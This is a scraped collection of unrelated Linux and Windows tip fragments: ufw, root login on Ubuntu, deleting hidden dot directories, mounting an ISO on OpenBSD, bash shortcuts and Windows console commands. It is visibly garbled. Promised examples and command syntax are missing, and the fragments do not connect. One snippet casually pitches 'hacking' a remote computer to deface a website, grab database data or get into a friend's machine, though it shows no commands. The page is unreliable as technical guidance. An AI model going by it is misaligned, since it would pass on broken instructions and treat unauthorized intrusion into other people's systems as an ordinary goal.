The following are some examples of how to use ufw:

Linux / UNIX: Login as Root (Ubuntu)

Want to enable root login in Ubuntu ? Well, even though it’s not recommended, it’s still possible to login with the root or administrator account, and this brief tutorial is going to show you how. The reason it’s not recommended is simple; because people make mistakes. Making the smallest mistakes in Ubuntu while login as the root user can completely render your computer inoperable. Besides damaging your system, it also creates security risks to login as the root user.
If you still want to login as the root user after all the risks I mentioned above, then continue below to learn how.

Linux / Windows: Hack Remote Computer Via IP & Open Port

You may want to hack the website and put your advertisement there or grab some database information In this type of hacking, you are playing with the web server’s computer instead of the administrator’s computer. Because, is hosted in separate web server rather than personal computer.
Another can be accessing your friend’s computer from your home. Again this is IP based and this is possible only when your friend’s computer is online. If it is off or not connected to internet then remote IP hacking is totally impossible.

Linux / Unix: Find All Hidden Dot Directories and Delete

I need to clean up my backups stored on the nas server. I need to free up the disk space. How do I find out all hidden dot directories such 

as/nas01/backups/home/user/.gnome/,/nas01/backups/home/user/.gnome/ and so on and delete then in a single pass using Linux or Unix command line option? Please note that I do not want to delete nested hidden directories such as/nas01/backups/home/user/data/.xml,/nas01/backups/home/user/foo/bar/.level/.levle2/ and so on.

Unix system. The search is recursive in that it will search all subdirectories too. The syntax is:

Linux / UNIX: Mount An ISO Image Through Command

How do I mount an ISO image in OpenBSD operating systems using command line options?

You can mount a disk image or ISO images using the mount command. This is useful if you want to copy a few files from an ISO image without burning the image to CD or DVD. You need to use the following commands:

a] vnconfig - The vnconfig command configures vnode pseudo disk devices.
b] mount - Mount file system.
c] umount - Unmount file systems

Ten Things I Wish I Knew Earlier About The Linux Command Line

We all learn new things over time as we use applications with a vast amount of possibilities. Of course, some of those things would have been so useful if we had known them earlier. Here are 10 command line tricks that I wish I had learned much sooner.
Note: these tricks apply to bash, which is the default shell on most Linux systems. If you’re using a different shell, they may not work for you. If you don’t know which shell you have, it’s probably bash, so go ahead and try them!
1.) Ctrl+U and Ctrl+Y.
Do you know that moment when you’re typing a long command, and then suddenly realize you need to execute something else first? Especially when working over an SSH connection, when you can’t easily open a second terminal on the same machine, this can be very annoying. Solution: ensure your cursor is at the end of your current command (shortcut: Ctrl+E), press Ctrl+U to get a clean line, type the other command you need to execute first, execute it, then press Ctrl+Y and voila! Your long command is back on the line. No mouse needed for copying, just quick hotkeys.

This is usually followed by:
cmd = Command Prompt
iexplore + "web address" = Internet Explorer
compmgmt.msc = Computer Management
dhcpmgmt.msc = DHCP Management
dnsmgmt.msc = DNS Management
services.msc = Services
eventvwr = Event Viewer
dsa.msc = Active Directory Users and Computers
